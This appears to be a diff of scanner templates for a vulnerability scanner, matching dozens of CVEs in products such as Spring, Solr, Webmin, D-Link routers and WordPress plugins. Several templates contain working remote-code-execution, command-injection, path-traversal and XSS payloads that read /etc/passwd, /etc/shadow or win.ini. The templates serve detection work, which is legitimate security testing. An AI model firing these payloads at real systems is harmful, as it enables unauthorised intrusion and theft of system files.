-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 206
-      - type: word
-        words:
-          - Content-Range
-        part: all
@@ -0,0 +1,38 @@
+id: cve-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,9 +1,10 @@
-id: CVE-2017-9506
+id: cve-2017-9506

 info:
  name: Jira IconURIServlet SSRF
  author: Ice3man
  severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).

 requests:
  - method: GET
@@ -1,10 +1,10 @@
-id: CVE-2017-9841
+id: cve-2017-9841

 info:
  name: CVE-2017-9841
  author: Random-Robbie
-  severity: High
-
+  severity: high
+  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  # Reference to exploit
  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
  # https://github.com/RandomRobbieBF/phpunit-brute
@@ -1,4 +1,4 @@
-id: CVE-2018-0296
+id: cve-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
@@ -1,16 +1,17 @@
-id: CVE-2018-1000129
+id: cve-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
  severity: high
+  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -18,5 +19,9 @@ requests:
          - 200
      - type: word
        words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: CVE-2018-11409
+id: cve-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-11759
+id: cve-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
@@ -1,4 +1,4 @@
-id: CVE-2018-1247
+id: cve-2018-1247

 info:
  name: RSA Authentication Manager XSS
@@ -1,9 +1,9 @@
-id: CVE-2018-1271
+id: cve-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
-  severity: High
+  severity: high
  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d

 requests:
@@ -0,0 +1,34 @@
+id: cve-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2018-13379
+id: cve-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-14728
+id: cve-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
@@ -1,10 +1,10 @@
-id: CVE-2018-16341
+id: cve-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
  author: madrobot
  severity: high
-
+  description: Nuxeo Authentication Bypass Remote Code Execution &lt; 103 using a SSTI
 requests:
  - method: GET
    path:
@@ -0,0 +1,26 @@
+id: cve-2018-16763
+
+info:
+  name: fuelCMS 1.4.1 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Refrence: https://www.exploit-db.com/exploits/47138
+
+requests:
+  - raw:
+      - |
+        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,33 @@
+id: cve-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,9 +1,10 @@
-id: CVE-2018-18069
+id: cve-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
  author: nadino
  severity: medium
+  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.

 requests:
  - method: POST
@@ -0,0 +1,22 @@
+id: cve-2018-19386
+
+info:
+  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://www.cvedetails.com/cve/CVE-2018-19386/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<a href="javascript:alert(document.domain)//'
@@ -1,9 +1,10 @@
-id: CVE-2018-19439
+id: cve-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
  author: madrobot & dwisiswant0
  severity: high
+  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)

 requests:
  - method: GET
@@ -1,9 +1,10 @@
-id: CVE-2018-20824
+id: cve-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
  author: madrobot & dwisiswant0
  severity: medium
+  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.

 requests:
  - method: GET
@@ -1,16 +1,16 @@
-id: CVE-2018-2791
+id: cve-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
  author: madrobot
  severity: medium
-
+  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
    matchers:
      - type: word
        words:
-          - "<script>alert(1337)</script>"
+          - "<h1xxx<scriptalert(1)</script"
        part: body
@@ -1,4 +1,4 @@
-id: CVE-2018-3714
+id: cve-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2018-3760
+id: cve-2018-3760

 info:
  name: Rails cve-2018-3760
@@ -1,4 +1,4 @@
-id: CVE-2018-5230
+id: cve-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-7490
+id: cve-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
@@ -0,0 +1,37 @@
+id: cve-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: high
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-10475
+id: cve-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -0,0 +1,18 @@
+id: cve-2019-11043
+
+info:
+  name: PHP-FPM & nginx RCE
+  author: geeknik
+  severity: high
+  description: https://github.com/neex/phuip-fpizdam
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
+
+    matchers:
+      - type: word
+        words:
+          - "/bin/which"
+        part: body
@@ -0,0 +1,19 @@
+id: cve-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"
@@ -1,4 +1,4 @@
-id: CVE-2019-11510
+id: cve-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -0,0 +1,38 @@
+id: cve-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2019-12314
+id: cve-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
@@ -0,0 +1,25 @@
+id: cve-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body
@@ -0,0 +1,27 @@
+id: cve-2019-12593
+
+info:
+  name: IIceWarp <=10.4.4 - Local File Inclusion
+  author: pikpikcu
+  severity: high
+
+  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
+  # Google Dork:-Powered By IceWarp 10.4.4
+  # Vendor Homepage: http://www.icewarp.com
+  # Software Link: https://www.icewarp.com/downloads/trial/
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "[intl]"
+          - "root:x:0"
@@ -1,4 +1,4 @@
-id: CVE-2019-14322
+id: cve-2019-14322

 info:
  name: Odoo 12.0 - Local File Inclusion
@@ -0,0 +1,24 @@
+id: cve-2019-14696
+
+info:
+  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+# Vendor Homepage: [https://open-school.org/]
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-14974
+id: cve-2019-14974

 info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-15043
+id: cve-2019-15043
 info:
  author: bing0o
  name: Grafana unauthenticated API
@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,29 @@
+id: cve-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "2.2.5"
+        part: body
@@ -0,0 +1,26 @@
+id: cve-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,20 @@
+id: cve-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body
@@ -0,0 +1,21 @@
+id: cve-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-16759-1
+id: cve-2019-16759-1

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-16759
+id: cve-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4
@@ -0,0 +1,65 @@
+id: cve-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+
+  # References:
+  # - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,9 +1,9 @@
-id: CVE-2019-17382
+id: cve-2019-17382

 info:
  name: Zabbix Authentication Bypass
  author: Harsh Bothra
-  severity: Critical
+  severity: critical
  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382

 requests:
@@ -0,0 +1,58 @@
+id: cve-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-18394
+id: cve-2019-18394

 info:
  name: Openfire Full Read SSRF
@@ -1,4 +1,4 @@
-id: CVE-2019-19368
+id: cve-2019-19368

 info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19781
+id: cve-2019-19781

 info:
  name: Citrix ADC Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-19908
+id: cve-2019-19908

 info:
  name: phpMyChat-Plus XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19985
+id: cve-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
@@ -0,0 +1,20 @@
+id: cve-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: |
+    An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+    Source/References:
+    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=alert(1)>"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-2588
+id: cve-2019-2588

 info:
  name: Oracle Business Intelligence Path Traversal
@@ -0,0 +1,41 @@
+id: cve-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -1,8 +1,8 @@
-id: CVE-2019-3396
+id: cve-2019-3396
 info:
  author: "Harsh Bothra"
